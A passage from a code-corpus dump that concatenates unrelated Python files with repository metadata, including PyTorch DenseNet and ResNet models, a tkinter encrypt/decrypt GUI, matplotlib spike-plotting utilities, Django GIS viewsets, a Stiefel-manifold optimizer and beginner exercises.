stride=2)) ## removed the average pooling layer.\n\n\n# class OutputTransition(nn.Module): ##### original vnet implementation\n# def __init__(self, inChans, nll=True):\n# super(OutputTransition, self).__init__()\n# self.conv1 = nn.Conv3d(inChans, 2, kernel_size=5, padding=2)\n# self.bn1 = nn.BatchNorm3d(2)\n# self.conv2 = nn.Conv3d(2, 2, kernel_size=1)\n# self.relu1 = nn.ReLU(inplace=True)\n# if nll:\n# self.softmax = F.log_softmax\n# else:\n# self.softmax = F.softmax\n\n# def forward(self, x):\n# # convolve 32 down to 2 channels\n# out = self.relu1(self.bn1(self.conv1(x)))\n# out = self.conv2(out)\n\n# # make channels the last axis\n# out = out.permute(0, 2, 3, 4, 1).contiguous()\n# # flatten\n# out = out.view(out.numel() // 2, 2)\n# out = self.softmax(out)\n# # treat channel 0 as the predicted output\n# return out\n\nclass OutputTransition(nn.Module):\n def __init__(self, inChans, out_number):\n super(OutputTransition, self).__init__()\n self.bn1 = nn.BatchNorm3d(inChans)\n self.relu1 = nn.ReLU(inplace=True)\n self.conv1 = nn.Conv3d(inChans, out_number, kernel_size=5)\n self.conv3 = nn.Conv3d(4, out_number, kernel_size=2)\n\n\n def forward(self, x):\n out = self.conv1(self.relu1(self.bn1(x)))\n # out = self.conv3(self.relu1(out))\n # print (out)\n return out\n\nclass PhenotypeLayer(nn.Module):\n \"\"\"docstring for PhenotypeLayer\"\"\"\n def __init__(self):\n super(PhenotypeLayer, self).__init__()\n self.layer1_c = nn.Linear(80, 32)\n self.layer1_a = nn.Linear(1, 32)\n self.layer1_t = nn.Linear(1, 32)\n self.layer2 = nn.Linear(32, 2)\n\n def forward(self, _class, _age, _tiv):\n out_c = self.layer1_c(_class)\n out_a = self.layer1_a(_age)\n out_t = self.layer1_t(_tiv)\n out = out_c + out_t + out_a\n out = self.layer2(out)\n return out\n\nclass DenseNet3D(nn.Module):\n \"\"\"Densenet-BC model class, based on\n `\"Densely Connected Convolutional Networks\" `_\n\n Args:\n growth_rate (int) - how many filters to add each layer (`k` in paper)\n block_config (list of 4 ints) - how many layers in each pooling block\n num_init_features (int) - the number of filters to learn in the first convolution layer\n bn_size (int) - multiplicative factor for number of bottle neck layers\n (i.e. bn_size * k features in the bottleneck layer)\n drop_rate (float) - dropout rate after each dense layer\n out_number (int) - number of classification classe\n \"\"\"\n def __init__(self, growth_rate=4, block_config=(1, 2, 3),\n num_init_features=8, bn_size=4, drop_rate=0.2, out_number=10):\n\n super(DenseNet3D, self).__init__()\n\n # First convolution\n self.features = nn.Sequential(OrderedDict([\n ('conv0', nn.Conv3d(1, num_init_features, kernel_size=3, stride=1, padding=2, bias=False)),\n ('norm0', nn.BatchNorm3d(num_init_features)),\n ('relu0', nn.ReLU(inplace=True)),\n ('pool0', nn.AvgPool3d(kernel_size=3, stride=2, padding=1)),# Average Pooling layer\n ]))\n\n # Each denseblock\n num_features = num_init_features\n for i, num_layers in enumerate(block_config):\n block = _DenseBlock(num_layers=num_layers, num_input_features=num_features,\n bn_size=bn_size, growth_rate=growth_rate, drop_rate=drop_rate)\n self.features.add_module('db%d' % (i + 1), block)\n num_features = num_features + num_layers * growth_rate\n if i != len(block_config) - 1:\n trans = _Strider(num_input_features=num_features, num_output_features=num_features // 2)\n self.features.add_module('strider%d' % (i + 1), trans)\n num_features = num_features // 2\n\n # Final batch norm\n # self.features.add_module('norm5', nn.BatchNorm3d(num_features)) ### added OutputTransition\n\n # Linear layer\n # self.Linear_classifier = nn.Linear(8*8*8, num_classes)\n self.classifier = OutputTransition(num_features, out_number)\n\n # Official init from torch repo.\n for m in self.modules():\n if isinstance(m, nn.Conv3d):\n nn.init.kaiming_normal(m.weight.data)\n elif isinstance(m, nn.BatchNorm3d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n m.bias.data.zero_()\n\n def forward(self, x, age, tiv):\n # print (\"DATA: \", x.size())\n features = self.features(x)\n # print (\"features: \", features.size())\n out = F.relu(features, inplace=True)\n out = self.classifier(out)\n # print (\"classifier: \", out.size())\n out = out.view(out.size(0), -1)\n # print (\"linear: \", out.size())\n out = PhenotypeLayer().cuda()(out, age, tiv)\n # print (\"phType: \", out.size())\n out = F.softmax(out)\n return out\n","repo_name":"koriavinash1/PAC18","sub_path":"src/DensenetModels.py","file_name":"DensenetModels.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"72993383627","text":"import tkinter as tk\nfrom tkinter.filedialog import askopenfilename\nfrom design import *\nfrom crypt import encrypt_message, decrypt_message\nimport datetime\n\n\nroot = tk.Tk()\nroot.title('Final Project')\nroot.geometry('1080x720')\nroot.resizable(False,False)\nroot.configure(bg=WINDOW_BACKGROUND)\n\n#Frame Creations:\nleft_frame = tk.Frame(root, bg=WINDOW_BACKGROUND)\nleft_frame.pack(side=tk.LEFT, fill=tk.BOTH, expand=tk.YES)\n\nright_frame = tk.Frame(root, bg=WINDOW_BACKGROUND)\nright_frame.pack(side=tk.RIGHT, fill=tk.BOTH, expand=tk.YES)\n\n#Title Creations:\ntitle_encryption = tk.Label(left_frame, text='Encryption', font=TITLE_DESIGN)\ntitle_encryption.pack(side=tk.TOP)\n\ntitle_entry_encrypt = tk.Label(left_frame, text = 'Text to Encrypt: ',font=SECONDARY_TITLE_DESIGN)\ntitle_entry_encrypt.pack(side=tk.TOP)\n\ntitle_decryption = tk.Label(right_frame, text='Decryption', font=TITLE_DESIGN)\ntitle_decryption.pack(side=tk.TOP)\n\ntitle_entry_decrypt = tk.Label(right_frame, text = 'Text to Decrypt: ',font=SECONDARY_TITLE_DESIGN)\ntitle_entry_decrypt.pack(side=tk.TOP)\n\n#Entry Creations\nvariable_encrypt = tk.StringVar(left_frame)\nentry_encrypt = tk.Entry(left_frame, width=72,\n textvariable=variable_encrypt)\nentry_encrypt.pack(side=tk.TOP)\n\nvariable_decrypt = tk.StringVar(right_frame)\nentry_decrypt = tk.Entry(right_frame, width=72,\n textvariable=variable_decrypt)\nentry_decrypt.pack(side=tk.TOP)\n\n#Results:\nresult_text_encrypt = tk.Label(left_frame, text=\"\", font=TEXT_DESIGN, bg=WINDOW_BACKGROUND)\nresult_text_encrypt.pack(side=tk.TOP, pady=100)\n\nresult_text_decrypt = tk.Label(right_frame, text=\"\", font=TEXT_DESIGN, bg=WINDOW_BACKGROUND)\nresult_text_decrypt.pack(side=tk.TOP, pady=100)\n\n#Functions of Buttons/File Saves:\ndef save_file(folder_name, text_to_write):\n file_name = str(datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\"))\n file_to_write = open(f'{folder_name}\\\\{file_name}.txt', 'w')\n file_to_write.write(f'{text_to_write}')\n file_to_write.close()\n if 'encrypt' in folder_name.lower():\n result_text_encrypt.configure(text=f\"Encrypt Text Saved!\")\n elif 'decrypt' in folder_name.lower():\n result_text_decrypt.configure(text=f\"Decrypt Text Saved!\")\n\ndef action_encrypt_text(input_type, output_type, text_to_encrypt=None):\n if input_type == 'text':\n encrypted_text = encrypt_message(text_to_encrypt)\n if output_type == \"text\":\n result_text_encrypt.configure(text=encrypted_text)\n elif output_type == \"file\":\n save_file('EncryptedMessages', encrypted_text)\n elif input_type =='file':\n file_to_open = askopenfilename()\n file_to_read = open(file_to_open, 'r')\n file_content = file_to_read.read()\n file_to_read.close()\n if output_type == \"text\":\n encrypted_text = encrypt_message(file_content)\n result_text_encrypt.configure(text=encrypted_text)\n elif output_type == \"file\":\n encrypted_text = encrypt_message(file_content)\n save_file('EncryptedMessages', encrypted_text)\n\n\ndef action_decrypt_text(input_type, output_type, text_to_decrypt=None):\n if input_type == 'text':\n decrypted_text = decrypt_message(text_to_decrypt)\n if output_type == \"text\":\n result_text_decrypt.configure(text=decrypted_text)\n elif output_type == \"file\":\n save_file('DecryptedMessages', decrypted_text)\n elif input_type =='file':\n file_to_open = askopenfilename()\n file_to_read = open(file_to_open, 'r')\n file_content = file_to_read.read()\n file_to_read.close()\n if output_type == \"text\":\n decrypted_text = decrypt_message(file_content)\n result_text_decrypt.configure(text=decrypted_text)\n elif output_type == \"file\":\n decrypted_text = decrypt_message(file_content)\n save_file('DecryptedMessages', decrypted_text)\n\n\n\n#Button Creations:\n#Encrypt Buttons:\nencrypt_text_to_text = tk.Button(left_frame, text='Encrypt Text!',\n font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n text_to_encrypt=variable_encrypt.get(),\n input_type='text',\n output_type='text'\n ))\nencrypt_text_to_text.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_to_file = tk.Button(left_frame, text='Encrypt Text to File!',\n bg=ENCRYPT_BUTTON_BACKGROUND,\n font=BUTTON_DESIGN,\n command=lambda: action_encrypt_text(\n text_to_encrypt=variable_encrypt.get(),\n input_type='text',\n output_type='file'\n ))\nencrypt_to_file.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_from_file = tk.Button(left_frame, text='Encrypt from File!', font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n input_type='file',\n output_type='text'\n ))\nencrypt_from_file.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_from_file_to_file = tk.Button(left_frame, text='Encrypt from File to Another File',\n font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n input_type='file',\n output_type='file'\n ))\nencrypt_from_file_to_file.pack(side=tk.TOP, padx=10, pady = 20)\n\n#Decrypt Buttons:\ndecrypt_text = tk.Button(right_frame, text='Decrypt Text!', font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='text',\n output_type='text',\n text_to_decrypt=variable_decrypt.get()\n ))\ndecrypt_text.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_text_to_file = tk.Button(right_frame, text='Decrypt Text to File!', font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='text',\n output_type='file',\n text_to_decrypt=variable_decrypt.get()\n ))\ndecrypt_text_to_file.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_from_file = tk.Button(right_frame,text=\"Decrypt from File!\",font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='file',\n output_type='text',\n ))\ndecrypt_from_file.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_from_file_to_file = tk.Button(right_frame,text=\"Decrypt from File to Another File!\",font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='file',\n output_type='file'\n ))\ndecrypt_from_file_to_file.pack(side=tk.TOP, padx=10, pady=20)\n\nroot.mainloop()","repo_name":"JLessons/Transposition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12714830653","text":"orders = int(input())\ntotal_order = 0\n\nfor order in range(1, orders + 1):\n price_per_capsule = float(input())\n days = int(input())\n capsules_per_day = int(input())\n if price_per_capsule < 0.01 or price_per_capsule > 100:\n continue\n elif days < 1 or days > 31:\n continue\n elif capsules_per_day < 1 or capsules_per_day > 2000:\n continue\n else:\n price_order = price_per_capsule * days * capsules_per_day\n total_order += price_order\n print(f\"The price for the coffee is: ${price_order:.2f}\")\nprint(f\"Total: ${total_order:.2f}\")\n","repo_name":"BorislavRaynov/SoftUniModules","sub_path":"02_fundamentals_python/05_basic_syntax_conditional_statements_and_loops/05_exercises/05_orders.py","file_name":"05_orders.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27911673445","text":"\"\"\"\nPlotting functions.\n\"\"\"\nimport typing as tp\nimport matplotlib.pyplot as plt\nfrom matplotlib import ticker\nimport numpy as np\nfrom . import errors as err\n\n\ndef plot_multiple(data_x, *args, **kwargs):\n \"\"\"\n Plot multiple data curves against a same x-axis on mulitple subplots.\n\n Arguments:\n datax (darray): the data point on the x-axis.\n *args: each entry of args is a list containing multiple sets of data\n and parameters that will be plotted in the same subplot.\n An entry should follow the format `(data_1, param_1, ...)`,\n where each of the `data_i` is a numpy array, and each of the\n `param_i` is a `dict` of the parameters for ploting `data_i` against\n `data_x`. Alternatively, an entry can simply be an numpy array. In\n this case, only one curve will be plotted in the corresponding\n subplot.\n\n Keyword Arguments:\n figw (float): the figure width.\n figh (float): the figure height.\n xlabel (str): the label of the x-axis.\n\n The additional keyword arguments will propagate into the private\n plotting method `_plot`, and eventually into the `pyplot.plot` method.\n \"\"\"\n\n def _plot(axe, data_x, data_y, **kwargs):\n \"\"\"\n Arguments:\n axe (matplotlib.Axes.axe): the axe of the subplot.\n data_x (darray): the data point along the x-axis.\n data_y (darray): the data point along the y-axis.\n\n Keyword Arguments:\n xlim (tuple): a tuple-like with two entries of limits of the x-axis.\n ylim (tuple): a tuple-like with two entries of limits of the y-axis.\n spike (bool): specify if `data_y` is a spike sequence.\n ylabel (str): the label of the y-axis.\n ds_rate (int): the downsample rate of the data.\n\n The additional keyword arguments will propagate into the\n `pyplot.plot` method. For example, one could use `label` to add a\n legend to a curve.\n \"\"\"\n xlim = kwargs.pop(\"xlim\", None)\n ylim = kwargs.pop(\"ylim\", None)\n spike = kwargs.pop(\"spike\", False)\n ylabel = kwargs.pop(\"ylabel\", None)\n ds_rate = kwargs.pop(\"ds_rate\", None)\n\n if spike:\n ylim = [0, 1.2]\n ylabel = ylabel or \"Spike Train\"\n axe.yaxis.set_ticklabels([\" \"])\n\n if ds_rate is not None:\n data_x = data_x[::ds_rate]\n data_y = data_y[::ds_rate]\n\n axe.plot(data_x, data_y, **kwargs)\n\n if xlim:\n axe.set_xlim(xlim)\n if ylim:\n axe.set_ylim(ylim)\n if ylabel:\n axe.set_ylabel(ylabel)\n\n figw = kwargs.pop(\"figw\", 5)\n figh = kwargs.pop(\"figh\", 2)\n xlabel = kwargs.pop(\"xlabel\", \"Time, [s]\")\n\n num = len(args)\n\n fig, axes = plt.subplots(num, 1, figsize=(figw, num * figh))\n\n if not hasattr(axes, \"__len__\"):\n axes = [axes]\n\n for i, (dataset, axe) in enumerate(zip(args, axes)):\n axe.grid()\n if i < num - 1:\n axe.xaxis.set_ticklabels([])\n\n if isinstance(dataset, np.ndarray):\n param_list = [{}]\n data_list = [dataset]\n else:\n param_list = dataset[1::2]\n data_list = dataset[0::2]\n\n has_legend = False\n for data_y, subkwargs in zip(data_list, param_list):\n for key, val in kwargs.items():\n if not key in subkwargs:\n subkwargs[key] = val\n has_legend = has_legend or (\"label\" in subkwargs)\n _plot(axe, data_x, data_y, **subkwargs)\n if has_legend:\n axe.legend()\n\n axes[-1].set_xlabel(xlabel)\n plt.tight_layout()\n\n return fig, axes\n\n\ndef plot_spikes(\n spikes: np.ndarray,\n dt: float = None,\n t: np.ndarray = None,\n ax: plt.Axes = None,\n markersize: int = None,\n color: tp.Union[str, tp.Any] = \"k\",\n) -> plt.Axes:\n \"\"\"\n Plot Spikes in raster format\n Arguments:\n spikes: the spike states in binary format, where 1 stands for a spike.\n The shape of the spikes should either be (N_times, ) or (N_trials, N_times)\n dt: time resolution of the time axis.\n t: time axes for the spikes, use arange if not provided\n\n .. note::\n\n If `t` is specified, it is assumed to have the same\n length as `mat.shape[1]`, which is used to find the x coordinate of\n the spiking values of the data. If `t` is\n not specified, the time-axis is formated by resolution `dt`.\n `dt` is assumed to be 1 if not specified.\n\n ax: which axis to plot into, create one if not provided\n markersize: size of raster\n color: color for the raster. Any acceptable type of `matplotlib.pyplot.plot`'s\n color argument is accepted.\n Returns:\n ax: the axis that the raster is plotted into\n \"\"\"\n spikes = np.atleast_2d(spikes)\n if spikes.ndim != 2:\n raise err.NeuralPlotError(\n f\"matrix need to be of ndim 2, (channels x time), got ndim={spikes.ndim}\"\n )\n\n if t is not None:\n if len(t) != spikes.shape[1]:\n raise err.NeuralPlotError(\n \"Time vector 't' does not have the same shape as the matrix.\"\n f\" Expected length {spikes.shape[1]} but got {len(t)}\"\n )\n else:\n if dt is None:\n dt = 1.0\n else:\n if not np.isscalar(dt):\n raise err.NeuralPlotError(\"dt must be a scalar value.\")\n t = np.arange(spikes.shape[1]) * dt\n\n if ax is None:\n fig = plt.gcf()\n ax = fig.add_subplot()\n\n neu_idx, t_idx = np.nonzero(spikes)\n\n try:\n ax.plot(t[t_idx], neu_idx, \"|\", c=color, markersize=markersize)\n except ValueError as e:\n raise err.NeuralPlotError(\n \"Raster plot failed, likely an issue with color or markersize setting\"\n ) from e\n except IndexError as e:\n raise err.NeuralPlotError(\n \"Raster plot failed, likely an issue with spikes and time vector mismatch\"\n ) from e\n except Exception as e:\n raise err.NeuralPlotError(\"Raster plot failed due to unknown error\") from e\n ax.set_xlim([t.min(), t.max()])\n return ax\n\n\ndef plot_mat(\n mat: np.ndarray,\n dt: float = None,\n t: np.ndarray = None,\n ax: plt.Axes = None,\n cax=None,\n vmin: float = None,\n vmax: float = None,\n cbar_kw: dict = None,\n cmap: tp.Any = None,\n) -> tp.Union[tp.Tuple[plt.Axes, tp.Any], plt.Axes]:\n \"\"\"\n Plot Matrix with formatted time axes\n\n Arguments:\n mat: the matrix to be plotted, it should of shape (N, Time)\n dt: time resolution of the time axis.\n t: time axes for the spikes, use arange if not provided.\n\n .. note::\n\n If `t` is specified, it is assumed to have the same\n length as `mat.shape[1]`. Consequently, the x-axis will be formatted\n to take the corresponding values from `t` based on index. If `t` is\n not specified, the time-axis is formated by resolution `dt`.\n If neither are specified, `dt` is assumed to be 1.\n\n ax: which axis to plot into, create one if not provided\n cax: which axis to plot colorbar into\n - if instance of axis, plot into that axis\n - if is True, steal axis from `ax`\n vmin: minimum value for the imshow\n vmax: maximum value for the imshow\n cbar_kw: keyword arguments to be passed into the colorbar creation\n cmap: colormap to use\n\n Returns:\n ax: the axis that the raster is plotted into\n cbar: colorbar object\n - only returned if cax is `True` or a `plt.Axes` instance\n\n Example:\n >>> dt, dur, start, stop = 1e-4, 2, 0.5, 1.0\n >>> t = np.arange(0, dur, dt)\n >>> amps = np.arange(0, 100, 10)\n >>> wav = utils.generate_stimulus('step', dt, dur, (start, stop), amps)\n >>> ax,cbar = plot_mat(wav, t=t, cax=True, vmin=10, vmax=100, cbar_kw={'label':'test'}, cmap=plt.cm.gnuplot)\n >>> ax, = plot_mat(wav, t=t, cax=False, vmin=10, vmax=100, cbar_kw={'label':'test'}, cmap=plt.cm.gnuplot)\n \"\"\"\n mat = np.atleast_2d(mat)\n if mat.ndim != 2:\n raise err.NeuralPlotError(\n \"matrix need to be of ndim 1 (N_time),or ndim 2 (N_trials x N_times),\"\n f\" got ndim={mat.ndim}\"\n )\n if t is not None:\n if len(t) != mat.shape[1]:\n raise err.NeuralPlotError(\n \"Time vector 't' does not have the same shape as the matrix.\"\n f\" Expected length {mat.shape[1]} but got {len(t)}\"\n )\n\n @ticker.FuncFormatter\n def major_formatter(x, pos):\n return \"{:.1f}\".format(np.interp(x, np.arange(len(t)), t))\n\n else:\n if dt is None:\n dt = 1\n\n @ticker.FuncFormatter\n def major_formatter(x, pos):\n return \"{:.1f}\".format(dt * x)\n\n if ax is None:\n fig = plt.gcf()\n ax = fig.add_subplot()\n\n cim = ax.imshow(\n mat,\n aspect=\"auto\",\n interpolation=\"none\",\n origin=\"lower\",\n vmin=vmin,\n vmax=vmax,\n cmap=cmap,\n )\n ax.xaxis.set_major_formatter(major_formatter)\n\n if cax:\n if cbar_kw is None:\n cbar_kw = {}\n if not isinstance(cax, plt.Axes):\n cbar = plt.colorbar(cim, ax=ax, **cbar_kw)\n else:\n cbar = plt.colorbar(cim, cax, **cbar_kw)\n return ax, cbar\n else:\n return (ax,)\n\n\ndef yyaxis(ax: plt.Axes, c: \"color\" = \"red\") -> plt.Axes:\n \"\"\"Create A second axis with colored spine/ticks/label\n\n Note:\n This method will only make the twinx look like the color in\n MATLAB's :code:`yyaxis` function. However, unlike in MATLAB,\n it will not set the linestyle and linecolor of the lines that\n are plotted after twinx creation.\n\n Arguments:\n ax: the main axis to generate a twinx from\n c: color of the twinx, see https://matplotlib.org/stable/gallery/color/color_demo.html\n for color specifications accepted by matplotlib.\n \"\"\"\n ax2 = ax.twinx()\n ax2.spines[\"right\"].set_color(c)\n ax2.tick_params(axis=\"y\", colors=c)\n ax2.yaxis.label.set_color(c)\n return ax2\n","repo_name":"chungheng/neural","sub_path":"neural/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":10345,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"27424444671","text":"\r\n# Write a program that accepts multiple number of sentences as input and prints the lines after making all characters in the sentence capitalized.\r\n\r\ndef MutipleInput():\r\n p,q =input(\"Enter your First String: \\n\"),input(\"Enter the Second String:\\n\").capitalize()\r\n words = p.upper()\r\n wordCount = q.upper()\r\n print(wordCount,words)\r\nMutipleInput()\r\n\r\n#2) Write a program that accepts a sequence of whitespace separated words as input and prints the words after removing all duplicate words and sorting them alphanumerically.\r\n\r\nfrom collections import OrderedDict\r\n\r\ndef Duplicat(string):\r\n word= (' '.join(OrderedDict((w,w) for w in string.split()).keys()))\r\n told=word.split()\r\n told.sort()\r\n return \"\".join(told)\r\nstring=\"hello world and practice makes perfect and hello world again\"\r\nprint(Duplicat(string))\r\n\r\n\r\n#3) We have a count 35 heads and 94 legs among the chickens and rabbits in a farm. How many rabbits and how many chickens do we have? Write a program to get the answer,\r\n\r\ndef RabbitChicken(sum,leg):\r\n for rabbit in range(sum+1): #According to the first equation:- x+y=34\r\n chicken=sum-rabbit #According to the second equation:- 4x +2y=94\r\n if 2*chicken+4*rabbit==leg: #Multiply the first equation by 2\r\n return chicken,rabbit\r\n return None,None\r\n\r\nif __name__ == '__main__':\r\n try:\r\n heads=int(input(\"Enter the number of head:\\n\"))\r\n legs=int(input(\"Enter the number of leg:\\n\"))\r\n res=RabbitChicken(heads,legs)\r\n print(\"number of rabbit %d and number of chicken%d\"%res)\r\n except TypeError:\r\n print(\"invalid\")\r\n\r\n\r\n#4) Create a function that accepts single list containing letters or may be words. Total number of elements in a list may vary. In turn, it counts the number of occurrences in a list for each element and returns user a dictionary with total number of counts for each element. Please remember to include case-sensitive match i.e. 'user1' is not equal to 'User1' word.\r\n\r\ndef show(mylist):\r\n dict1 = {} # empty dictionary\r\n for item in mylist:\r\n if (item in dict1):\r\n dict1[item] += 1\r\n else:\r\n dict1[item] = 1\r\n for key, value in dict1.items():\r\n print (\"% s : % s\"%(key, value))\r\n\r\nif __name__ == \"__main__\":\r\n mylist =['python', 'pyhton3', 'user1', 'assignment', 'user', 'user1', 'python', 'User1']\r\n show(mylist)\r\n\r\n#5) Create a function that accepts a list containing integers. Total number of elements in list may vary. Your method should return back the list removing duplicates from list. So lets say if user passes a following list to your function as input:\r\n\r\n\r\ndef hack(mylsit):\r\n res=[]\r\n for i in mylsit:\r\n if i not in res:\r\n res.append(i)\r\n return res\r\nmylist= [1,2,55,1,3,2,34,55]\r\nprint(hack(mylist))","repo_name":"saveplanet18/-Ashesh-Sutha","sub_path":"Ashes Suthar.py","file_name":"Ashes Suthar.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"16710995034","text":"from django.shortcuts import render\nfrom .models import Cities\nfrom .serializers import CitiesSerializer, CitiesGeoJSONSerializer\nfrom rest_framework import viewsets\nfrom rest_framework_gis.filters import InBBoxFilter,TMSTileFilter,DistanceToPointFilter\n\nclass CitiesViewSet(viewsets.ModelViewSet):\n queryset = Cities.objects.all()\n serializer_class = CitiesSerializer\n\n\ndef home(request):\n allcities = Cities.objects.all()\n contenxt = {\n 'allcities':allcities\n }\n return render(request, 'home.html',contenxt)\n\n\nclass CitiesGeoJSONViewSet(viewsets.ModelViewSet):\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer \n\n\nclass CitiesInBBOX(viewsets.ModelViewSet):\n\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer\n bbox_filter_field = 'geometry'\n filter_backends = (InBBoxFilter,)\n bbox_filter_include_overlapping = True # Optional\n\nclass CitiesInTMS(viewsets.ModelViewSet):\n\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer\n bbox_filter_field = 'geometry'\n filter_backends = (TMSTileFilter,)\n bbox_filter_include_overlapping = True # Optional\n","repo_name":"krishnaglodha/spatial-apis-25-min","sub_path":"pokestar/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22342504654","text":"import pm4py\n\n\ndef execute_script():\n # example where the log skeleton is manullay built, and not automatically discovered from the log.\n\n log = pm4py.read_xes(\"../tests/input_data/running-example.xes\")\n\n log_skeleton = {\"always_after\": set(), \"always_before\": set(), \"equivalence\": set(), \"never_together\": set(),\n \"directly_follows\": set(), \"activ_freq\": dict()}\n\n for act in pm4py.get_event_attribute_values(log, \"concept:name\"):\n # initially sets that every activity of the log can occur from 0 to 10 times\n # (without this constraints, conformance checking will signal deviations for every event)\n log_skeleton[\"activ_freq\"][act] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\n\n # sets that the 'reinitiate request' activity should not occur (so it occurs 0 times)\n log_skeleton[\"activ_freq\"][\"reinitiate request\"] = {0}\n\n # sets that the 'pay compensation' activity should occur somewhen after the 'decide' activity.\n log_skeleton[\"always_after\"].add(('decide', 'pay compensation'))\n\n # gets the conformance checking results. The first describes for each case of the log the exact deviations\n detailed_conf_results = pm4py.conformance_log_skeleton(log, log_skeleton)\n print(detailed_conf_results)\n\n # the second provides a summary (as a dataframe) of the fitness per case\n summary_df = pm4py.conformance_log_skeleton(log, log_skeleton, return_diagnostics_dataframe=True)\n print(summary_df)\n\n\nif __name__ == \"__main__\":\n execute_script()\n","repo_name":"pm4py/pm4py-core","sub_path":"examples/log_skeleton_manual_constraints.py","file_name":"log_skeleton_manual_constraints.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":604,"dataset":"github-code","pt":"82"} +{"seq_id":"6347014062","text":"# --------------------\r\n# (S)GD on Stiefel manifold in `A feasible method for optimization with orthogonality constraints'\r\n# (https://link.springer.com/article/10.1007/s10107-012-0584-1)\r\n# This algorithm is termed as `Momentumless Stiefel SGD' in our paper\r\n# --------------------\r\n\r\nimport torch\r\nimport torch.nn.functional as F\r\nfrom torch.optim import Optimizer\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport math\r\nfrom torch import Tensor\r\nfrom typing import List, Optional\r\n# torch.set_default_tensor_type(torch.DoubleTensor)\r\n\r\nclass _RequiredParameter(object):\r\n \"\"\"Singleton class representing a required parameter for an Optimizer.\"\"\"\r\n def __repr__(self):\r\n return \"\"\r\n\r\nrequired = _RequiredParameter()\r\n\r\nclass MomentumlessStiefelSGD(Optimizer):\r\n def __init__(self, params, lr=required, method='NAG-SC', other_params=None, if_cayley=True):\r\n r'''\r\n Arguments:\r\n net: must be a plain fully connected nn. Recommand generated with class OrthogonalNN\r\n gamma: gamma in the AISTAT paper (momentum)\r\n\r\n '''\r\n if lr is not required and lr < 0.0:\r\n raise ValueError(\"Invalid learning rate: {}\".format(lr))\r\n\r\n defaults = dict(lr=lr, method=method, other_params=other_params, if_cayley=if_cayley)\r\n super(MomentumlessStiefelSGD, self).__init__(params, defaults)\r\n def __setstate__(self, state):\r\n super(MomentumlessStiefelSGD, self).__setstate__(state)\r\n\r\n @torch.no_grad()\r\n \r\n def step(self):\r\n \"\"\"Performs a single optimization step.\r\n\r\n buf: xi in algorithm 2\r\n p: R in algotithm 2\r\n\r\n Arguments:\r\n closure (callable, optional): A closure that reevaluates the model\r\n and returns the loss.\r\n \"\"\"\r\n loss = None\r\n\r\n for group in self.param_groups:\r\n lr = group['lr']\r\n \r\n for p_raw in group['params']:\r\n if p_raw.grad is None:\r\n continue\r\n p=p_raw.view(p_raw.size()[0],-1)\r\n p_grad=p_raw.grad.view(p_raw.size()[0],-1)\r\n if p.shape[0] 16:\n print(\"Grade 16+\")\nelse:\n print(\"Grade: \", index)","repo_name":"Minta-Ra/CS50x_2021","sub_path":"Pset_6/Readability/readability.py","file_name":"readability.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41465313936","text":"import torch\nimport torch.nn as nn\nfrom torchsummary import summary\n\n\nimport torch.nn as nn\n\n\nclass ResnetBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_channels, out_channels, stride=1, padding='same'):\n super(ResnetBlock, self).__init__()\n self.conv1 = nn.Conv2d(\n in_channels,\n out_channels,\n kernel_size=3,\n stride=stride,\n padding=padding,\n bias=False,\n )\n self.bn1 = nn.BatchNorm2d(out_channels)\n self.conv2 = nn.Conv2d(\n out_channels,\n out_channels,\n kernel_size=3,\n stride=stride,\n padding=padding,\n )\n self.bn2 = nn.BatchNorm2d(out_channels)\n\n self.shortcut = nn.Sequential()\n\n if stride != 1 or in_channels != self.expansion * out_channels:\n self.shortcut = nn.Sequential(\n nn.Conv2d(\n in_channels,\n self.expansion * out_channels,\n kernel_size=1,\n stride=stride,\n bias=False,\n ),\n nn.BatchNorm2d(self.expansion * 